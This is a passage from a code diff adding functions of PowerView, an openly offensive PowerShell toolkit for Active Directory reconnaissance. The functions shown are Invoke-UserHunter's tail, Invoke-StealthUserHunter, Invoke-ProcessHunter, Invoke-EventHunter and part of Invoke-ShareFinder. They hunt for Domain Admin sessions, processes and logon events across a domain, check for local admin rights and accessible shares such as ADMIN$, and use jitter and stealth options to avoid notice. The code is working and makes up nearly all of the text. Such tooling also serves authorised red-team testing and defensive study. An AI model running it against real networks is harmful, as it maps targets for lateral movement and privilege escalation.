+ if ($CheckAccess) {
+ $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
+ $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin
+ }
+ else {
+ $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
+ }
+ $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
+ $FoundUser
+ }
+ }
+ }
+ }
+ if(!$Stealth) {
+ # if we're not 'stealthy', enumerate loggedon users as well
+ $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
+ ForEach ($User in $LoggedOn) {
+ $UserName = $User.wkui1_username
+ # TODO: translate domain to authoratative name
+ # then match domain name ?
+ $UserDomain = $User.wkui1_logon_domain
+
+ # make sure wet have a result
+ if (($UserName) -and ($UserName.trim() -ne '')) {
+
+ $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
+
+ $Proceed = $True
+ if($DomainShortName) {
+ if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
+ $Proceed = $True
+ }
+ else {
+ $Proceed = $False
+ }
+ }
+ if($Proceed) {
+ $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
+ $FoundUser = New-Object PSObject
+ $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
+ $FoundUser | Add-Member Noteproperty 'UserName' $UserName
+ $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
+ $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
+ $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
+
+ # see if we're checking to see if we have local admin access on this machine
+ if ($CheckAccess) {
+ $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
+ $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin
+ }
+ else {
+ $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
+ }
+ $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
+ $FoundUser
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ }
+
+ process {
+
+ if($Threads) {
+ Write-Verbose "Using threading with threads = $Threads"
+
+ # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ $ScriptParams = @{
+ 'Ping' = $(-not $NoPing)
+ 'TargetUsers' = $TargetUsers
+ 'CurrentUser' = $CurrentUser
+ 'Stealth' = $Stealth
+ 'DomainShortName' = $DomainShortName
+ }
+
+ # kick off the threaded script block + arguments
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+
+ else {
+ if(-not $NoPing -and ($ComputerName.count -ne 1)) {
+ # ping all hosts in parallel
+ $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
+ $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ }
+
+ Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ $Counter = 0
+
+ ForEach ($Computer in $ComputerName) {
+
+ $Counter = $Counter + 1
+
+ # sleep for our semi-randomized interval
+ Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
+
+ Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
+ $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName
+ $Result
+
+ if($Result -and $StopOnSuccess) {
+ Write-Verbose "[*] Target user found, returning early"
+ return
+ }
+ }
+ }
+
+ }
+}
+
+
+function Invoke-StealthUserHunter {
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Hosts')]
+ [String[]]
+ $ComputerName,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
+
+ [String]
+ $ComputerFilter,
+
+ [String]
+ $ComputerADSpath,
+
+ [String]
+ $GroupName = 'Domain Admins',
+
+ [String]
+ $TargetServer,
+
+ [String]
+ $UserName,
+
+ [String]
+ $UserFilter,
+
+ [String]
+ $UserADSpath,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $UserFile,
+
+ [Switch]
+ $CheckAccess,
+
+ [Switch]
+ $StopOnSuccess,
+
+ [Switch]
+ $NoPing,
+
+ [UInt32]
+ $Delay = 0,
+
+ [Double]
+ $Jitter = .3,
+
+ [String]
+ $Domain,
+
+ [Switch]
+ $ShowAll,
+
+ [Switch]
+ $SearchForest,
+
+ [String]
+ [ValidateSet("DFS","DC","File","All")]
+ $StealthSource ="All"
+ )
+ # kick off Invoke-UserHunter with stealth options
+ Invoke-UserHunter -Stealth @PSBoundParameters
+}
+
+
+function Invoke-ProcessHunter {
+<#
+ .SYNOPSIS
+
+ Query the process lists of remote machines, searching for
+ processes with a specific name or owned by a specific user.
+ Thanks to @paulbrandau for the approach idea.
+
+ Author: @harmj0y
+ License: BSD 3-Clause
+
+ .PARAMETER ComputerName
+
+ Host array to enumerate, passable on the pipeline.
+
+ .PARAMETER ComputerFile
+
+ File of hostnames/IPs to search.
+
+ .PARAMETER ComputerFilter
+
+ Host filter name to query AD for, wildcards accepted.
+
+ .PARAMETER ComputerADSpath
+
+ The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER ProcessName
+
+ The name of the process to hunt, or a comma separated list of names.
+
+ .PARAMETER GroupName
+
+ Group name to query for target users.
+
+ .PARAMETER TargetServer
+
+ Hunt for users who are effective local admins on a target server.
+
+ .PARAMETER UserName
+
+ Specific username to search for.
+
+ .PARAMETER UserFilter
+
+ A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
+
+ .PARAMETER UserADSpath
+
+ The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER UserFile
+
+ File of usernames to search for.
+
+ .PARAMETER StopOnSuccess
+
+ Switch. Stop hunting after finding after finding a target user/process.
+
+ .PARAMETER NoPing
+
+ Switch. Don't ping each host to ensure it's up before enumerating.
+
+ .PARAMETER Delay
+
+ Delay between enumerating hosts, defaults to 0
+
+ .PARAMETER Jitter
+
+ Jitter for the host delay, defaults to +/- 0.3
+
+ .PARAMETER Domain
+
+ Domain for query for machines, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ShowAll
+
+ Switch. Return all user location results.
+
+ .PARAMETER SearchForest
+
+ Switch. Search all domains in the forest for target users instead of just
+ a single domain.
+
+ .PARAMETER Threads
+
+ The maximum concurrent threads to execute.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target machine/domain.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ProcessHunter -Domain 'testing'
+
+ Finds machines on the 'testing' domain where domain admins have a
+ running process.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ProcessHunter -Threads 20
+
+ Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt
+
+ Finds machines in hosts.txt where any members of users.txt have running
+ processes.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60
+
+ Find machines on the domain where members of the "Power Users" groups have
+ running processes with a 60 second (+/- *.3) randomized delay between
+ touching each host.
+
+ .LINK
+
+ http://blog.harmj0y.net
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Hosts')]
+ [String[]]
+ $ComputerName,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
+
+ [String]
+ $ComputerFilter,
+
+ [String]
+ $ComputerADSpath,
+
+ [String]
+ $ProcessName,
+
+ [String]
+ $GroupName = 'Domain Admins',
+
+ [String]
+ $TargetServer,
+
+ [String]
+ $UserName,
+
+ [String]
+ $UserFilter,
+
+ [String]
+ $UserADSpath,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $UserFile,
+
+ [Switch]
+ $StopOnSuccess,
+
+ [Switch]
+ $NoPing,
+
+ [UInt32]
+ $Delay = 0,
+
+ [Double]
+ $Jitter = .3,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $ShowAll,
+
+ [Switch]
+ $SearchForest,
+
+ [ValidateRange(1,100)]
+ [Int]
+ $Threads,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ begin {
+
+ if ($PSBoundParameters['Debug']) {
+ $DebugPreference = 'Continue'
+ }
+
+ # random object for delay
+ $RandNo = New-Object System.Random
+
+ Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay"
+
+ #####################################################
+ #
+ # First we build the host target set
+ #
+ #####################################################
+
+ # if we're using a host list, read the targets in and add them to the target list
+ if($ComputerFile) {
+ $ComputerName = Get-Content -Path $ComputerFile
+ }
+
+ if(!$ComputerName) {
+ [array]$ComputerName = @()
+
+ if($Domain) {
+ $TargetDomains = @($Domain)
+ }
+ elseif($SearchForest) {
+ # get ALL the domains in the forest to search
+ $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
+ }
+ else {
+ # use the local domain
+ $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
+ }
+
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for hosts"
+ $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
+ }
+
+ # remove any null target hosts, uniquify the list and shuffle it
+ $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($ComputerName.Count) -eq 0) {
+ throw "No hosts found!"
+ }
+ }
+
+ #####################################################
+ #
+ # Now we build the user target set
+ #
+ #####################################################
+
+ if(!$ProcessName) {
+ Write-Verbose "No process name specified, building a target user set"
+
+ # users we're going to be searching for
+ $TargetUsers = @()
+
+ # if we want to hunt for the effective domain users who can access a target server
+ if($TargetServer) {
+ Write-Verbose "Querying target server '$TargetServer' for local users"
+ $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
+ ($_.AccountName).split("/")[1].toLower()
+ } | Where-Object {$_}
+ }
+ # if we get a specific username, only use that
+ elseif($UserName) {
+ Write-Verbose "[*] Using target user '$UserName'..."
+ $TargetUsers = @( $UserName.ToLower() )
+ }
+ # read in a target user list if we have one
+ elseif($UserFile) {
+ $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
+ }
+ elseif($UserADSpath -or $UserFilter) {
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for users"
+ $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
+ $_.samaccountname
+ } | Where-Object {$_}
+ }
+ }
+ else {
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
+ $_.MemberName
+ }
+ }
+ }
+
+ if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
+ throw "[!] No users found to search for!"
+ }
+ }
+
+ # script block that enumerates a server
+ $HostEnumBlock = {
+ param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)
+
+ # optionally check if the server is up first
+ $Up = $True
+ if($Ping) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
+ }
+ if($Up) {
+ # try to enumerate all active processes on the remote host
+ # and search for a specific process name
+ $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue
+
+ ForEach ($Process in $Processes) {
+ # if we're hunting for a process name or comma-separated names
+ if($ProcessName) {
+ $ProcessName.split(",") | ForEach-Object {
+ if ($Process.ProcessName -match $_) {
+ $Process
+ }
+ }
+ }
+ # if the session user is in the target list, display some output
+ elseif ($TargetUsers -contains $Process.User) {
+ $Process
+ }
+ }
+ }
+ }
+
+ }
+
+ process {
+
+ if($Threads) {
+ Write-Verbose "Using threading with threads = $Threads"
+
+ # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ $ScriptParams = @{
+ 'Ping' = $(-not $NoPing)
+ 'ProcessName' = $ProcessName
+ 'TargetUsers' = $TargetUsers
+ 'Credential' = $Credential
+ }
+
+ # kick off the threaded script block + arguments
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+
+ else {
+ if(-not $NoPing -and ($ComputerName.count -ne 1)) {
+ # ping all hosts in parallel
+ $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
+ $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ }
+
+ Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ $Counter = 0
+
+ ForEach ($Computer in $ComputerName) {
+
+ $Counter = $Counter + 1
+
+ # sleep for our semi-randomized interval
+ Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
+
+ Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
+ $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
+ $Result
+
+ if($Result -and $StopOnSuccess) {
+ Write-Verbose "[*] Target user/process found, returning early"
+ return
+ }
+ }
+ }
+ }
+}
+
+
+function Invoke-EventHunter {
+<#
+ .SYNOPSIS
+
+ Queries all domain controllers on the network for account
+ logon events (ID 4624) and TGT request events (ID 4768),
+ searching for target users.
+
+ Note: Domain Admin (or equiv) rights are needed to query
+ this information from the DCs.
+
+ Author: @sixdub, @harmj0y
+ License: BSD 3-Clause
+
+ .PARAMETER ComputerName
+
+ Host array to enumerate, passable on the pipeline.
+
+ .PARAMETER ComputerFile
+
+ File of hostnames/IPs to search.
+
+ .PARAMETER ComputerFilter
+
+ Host filter name to query AD for, wildcards accepted.
+
+ .PARAMETER ComputerADSpath
+
+ The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER GroupName
+
+ Group name to query for target users.
+
+ .PARAMETER TargetServer
+
+ Hunt for users who are effective local admins on a target server.
+
+ .PARAMETER UserName
+
+ Specific username to search for.
+
+ .PARAMETER UserFilter
+
+ A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
+
+ .PARAMETER UserADSpath
+
+ The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER UserFile
+
+ File of usernames to search for.
+
+ .PARAMETER NoPing
+
+ Don't ping each host to ensure it's up before enumerating.
+
+ .PARAMETER Domain
+
+ Domain for query for machines, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER SearchDays
+
+ Number of days back to search logs for. Default 3.
+
+ .PARAMETER SearchForest
+
+ Switch. Search all domains in the forest for target users instead of just
+ a single domain.
+
+ .PARAMETER Threads
+
+ The maximum concurrent threads to execute.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-EventHunter
+
+ .LINK
+
+ http://blog.harmj0y.net
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Hosts')]
+ [String[]]
+ $ComputerName,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
+
+ [String]
+ $ComputerFilter,
+
+ [String]
+ $ComputerADSpath,
+
+ [String]
+ $GroupName = 'Domain Admins',
+
+ [String]
+ $TargetServer,
+
+ [String[]]
+ $UserName,
+
+ [String]
+ $UserFilter,
+
+ [String]
+ $UserADSpath,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $UserFile,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Int32]
+ $SearchDays = 3,
+
+ [Switch]
+ $SearchForest,
+
+ [ValidateRange(1,100)]
+ [Int]
+ $Threads,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ begin {
+
+ if ($PSBoundParameters['Debug']) {
+ $DebugPreference = 'Continue'
+ }
+
+ # random object for delay
+ $RandNo = New-Object System.Random
+
+ Write-Verbose "[*] Running Invoke-EventHunter"
+
+ if($Domain) {
+ $TargetDomains = @($Domain)
+ }
+ elseif($SearchForest) {
+ # get ALL the domains in the forest to search
+ $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ }
+ else {
+ # use the local domain
+ $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
+ }
+
+ #####################################################
+ #
+ # First we build the host target set
+ #
+ #####################################################
+
+ if(!$ComputerName) {
+ # if we're using a host list, read the targets in and add them to the target list
+ if($ComputerFile) {
+ $ComputerName = Get-Content -Path $ComputerFile
+ }
+ elseif($ComputerFilter -or $ComputerADSpath) {
+ [array]$ComputerName = @()
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for hosts"
+ $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
+ }
+ }
+ else {
+ # if a computer specifier isn't given, try to enumerate all domain controllers
+ [array]$ComputerName = @()
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for domain controllers"
+ $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
+ }
+ }
+
+ # remove any null target hosts, uniquify the list and shuffle it
+ $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($ComputerName.Count) -eq 0) {
+ throw "No hosts found!"
+ }
+ }
+
+ #####################################################
+ #
+ # Now we build the user target set
+ #
+ #####################################################
+
+ # users we're going to be searching for
+ $TargetUsers = @()
+
+ # if we want to hunt for the effective domain users who can access a target server
+ if($TargetServer) {
+ Write-Verbose "Querying target server '$TargetServer' for local users"
+ $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
+ ($_.AccountName).split("/")[1].toLower()
+ } | Where-Object {$_}
+ }
+ # if we get a specific username, only use that
+ elseif($UserName) {
+ # Write-Verbose "[*] Using target user '$UserName'..."
+ $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}
+ if($TargetUsers -isnot [System.Array]) {
+ $TargetUsers = @($TargetUsers)
+ }
+ }
+ # read in a target user list if we have one
+ elseif($UserFile) {
+ $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
+ }
+ elseif($UserADSpath -or $UserFilter) {
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for users"
+ $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
+ $_.samaccountname
+ } | Where-Object {$_}
+ }
+ }
+ else {
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
+ $_.MemberName
+ }
+ }
+ }
+
+ if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
+ throw "[!] No users found to search for!"
+ }
+
+ # script block that enumerates a server
+ $HostEnumBlock = {
+ param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)
+
+ # optionally check if the server is up first
+ $Up = $True
+ if($Ping) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
+ }
+ if($Up) {
+ # try to enumerate
+ if($Credential) {
+ Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
+ # filter for the target user set
+ $TargetUsers -contains $_.UserName
+ }
+ }
+ else {
+ Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
+ # filter for the target user set
+ $TargetUsers -contains $_.UserName
+ }
+ }
+ }
+ }
+
+ }
+
+ process {
+
+ if($Threads) {
+ Write-Verbose "Using threading with threads = $Threads"
+
+ # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ $ScriptParams = @{
+ 'Ping' = $(-not $NoPing)
+ 'TargetUsers' = $TargetUsers
+ 'SearchDays' = $SearchDays
+ 'Credential' = $Credential
+ }
+
+ # kick off the threaded script block + arguments
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+
+ else {
+ if(-not $NoPing -and ($ComputerName.count -ne 1)) {
+ # ping all hosts in parallel
+ $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
+ $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ }
+
+ Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ $Counter = 0
+
+ ForEach ($Computer in $ComputerName) {
+
+ $Counter = $Counter + 1
+
+ # sleep for our semi-randomized interval
+ Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
+
+ Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
+ }
+ }
+
+ }
+}
+
+
+function Invoke-ShareFinder {
+<#
+ .SYNOPSIS
+
+ This function finds the local domain name for a host using Get-NetDomain,
+ queries the domain for all active machines with Get-NetComputer, then for
+ each server it lists of active shares with Get-NetShare. Non-standard shares
+ can be filtered out with -Exclude* flags.
+
+ Author: @harmj0y
+ License: BSD 3-Clause
+
+ .PARAMETER ComputerName
+
+ Host array to enumerate, passable on the pipeline.
+
+ .PARAMETER ComputerFile
+
+ File of hostnames/IPs to search.
+
+ .PARAMETER ComputerFilter
+
+ Host filter name to query AD for, wildcards accepted.
+
+ .PARAMETER ComputerADSpath
+
+ The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER ExcludeStandard
+
+ Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)
+
+ .PARAMETER ExcludePrint
+
+ Switch. Exclude the print$ share.
+
+ .PARAMETER ExcludeIPC
+
+ Switch. Exclude the IPC$ share.
+
+ .PARAMETER CheckShareAccess
+
+ Switch. Only display found shares that the local user has access to.
+
+ .PARAMETER CheckAdmin
+
+ Switch. Only display ADMIN$ shares the local user has access to.
+
+ .PARAMETER NoPing
+
+ Switch. Don't ping each host to ensure it's up before enumerating.
+
+ .PARAMETER Delay
+
+ Delay between enumerating hosts, defaults to 0.
+
+ .PARAMETER Jitter
+
+ Jitter for the host delay, defaults to +/- 0.3.
+
+ .PARAMETER Domain
+
+ Domain to query for machines, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER SearchForest
+
+ Switch. Search all domains in the forest for target users instead of just
+ a single domain.
+
+ .PARAMETER Threads
+
+ The maximum concurrent threads to execute.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ShareFinder -ExcludeStandard
+
+ Find non-standard shares on the domain.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ShareFinder -Threads 20
+
+ Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ShareFinder -Delay 60
+
+ Find shares on the domain with a 60 second (+/- *.3)
+ randomized delay between touching each host.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt
+
+ Find shares for machines in the specified hosts file.
+
+ .LINK
+ http://blog.harmj0y.net
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Hosts')]
+ [String[]]
+ $ComputerName,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
+
+ [String]
+ $ComputerFilter,
+
+ [String]
+ $ComputerADSpath,
+
+ [Switch]
+ $ExcludeStandard,
+
+ [Switch]
+ $ExcludePrint,
+
+ [Switch]
+ $ExcludeIPC,
+
+ [Switch]
+ $NoPing,
+
+ [Switch]
+ $CheckShareAccess,
+
+ [Switch]
+ $CheckAdmin,
+
+ [UInt32]
+ $Delay = 0,
+
+ [Double]
+ $Jitter = .3,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $SearchForest,
+
+ [ValidateRange(1,100)]
+ [Int]
+ $Threads
+ )
+
+ begin {
+ if ($PSBoundParameters['Debug']) {
+ $DebugPreference = 'Continue'
+ }
+
+ # random object for delay
+ $RandNo = New-Object System.Random
+
+ Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
+
+ # figure out the shares we want to ignore
+ [String[]] $ExcludedShares = @('')
+
+ if ($ExcludePrint) {
+ $ExcludedShares = $ExcludedShares + "PRINT$"
+ }
+ if ($ExcludeIPC) {
+ $ExcludedShares = $ExcludedShares + "IPC$"
+ }
+ if ($ExcludeStandard) {
+ $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
+ }
+
+ # if we're using a host file list, read the targets in and add them to the target list
+ if($ComputerFile) {
+ $ComputerName = Get-Content -Path $ComputerFile
+ }
+
+ if(!$ComputerName) {
+ [array]$ComputerName = @()
+
+ if($Domain) {
+ $TargetDomains = @($Domain)
+ }
+ elseif($SearchForest) {
+ # get ALL the domains in the forest to search
+ $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ }
+ else {
+ # use the local domain
+ $TargetDomains = @( (Get-NetDomain).name )
+ }
+
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for hosts"
+ $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
+ }
+
+ # remove any null target hosts, uniquify the list and shuffle it
+ $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($ComputerName.count) -eq 0) {
+ throw "No hosts found!"
+ }
+ }
+
+ # script block that enumerates a server
+ $HostEnumBlock = {
+ param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
+
+ # optionally check if the server is up first
+ $Up = $True
+ if($Ping) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
+ }
+ if($Up) {
+ # get the shares for this host and check what we find
+ $Shares = Get-NetShare -ComputerName $ComputerName
+ ForEach ($Share in $Shares) {
+ Write-Verbose "[*] Server share: $Share"
+ $NetName = $Share.shi1_netname
+ $Remark = $Share.shi1_remark
+ $Path = '\\'+$ComputerName+'\'+$NetName
+
+ # make sure we get a real share name back
+ if (($NetName) -and ($NetName.trim() -ne '')) {
+ # if we're just checking for access to ADMIN$
+ if($CheckAdmin) {
+ if($NetName.ToUpper() -eq "ADMIN$") {
+ try {
+ $Null = [IO.Directory]::GetFiles($Path)
+ "\\$ComputerName\$NetName `t- $Remark"
+ }
+ catch {
+ Write-Verbose "Error accessing path $Path : $_"
+ }
+ }
+ }
+ # skip this share if it's in the exclude list
+ elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
+ # see if we want to check access to this share
+ if($CheckShareAccess) {
+ # check if the user has access to this path
+ try {
+ $Null = [IO.Directory]::GetFiles($Path)
+ "\\$ComputerName\$NetName `t- $Remark"
+ }
+ catch {
+ Write-Verbose "Error accessing path $Path : $_"
+ }
+ }
+ else {
+ "\\$ComputerName\$NetName `t- $Remark"
+ }
+ }
+ }
+ }
+ }
+ }
+
+ }
+
+ process {
+
+ if($Threads) {
+ Write-Verbose "Using threading with threads = $Threads"
+
+ # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ $ScriptParams = @{
+ 'Ping' = $(-not $NoPing)
+ 'CheckShareAccess' = $CheckShareAccess
+ 'ExcludedShares' = $ExcludedShares
+ 'CheckAdmin' = $CheckAdmin
+ }
+
+ # kick off the threaded script block + arguments
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+
+ else {
+ if(-not $NoPing -and ($ComputerName.count -ne 1)) {
+ # ping all hosts in parallel
+ $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
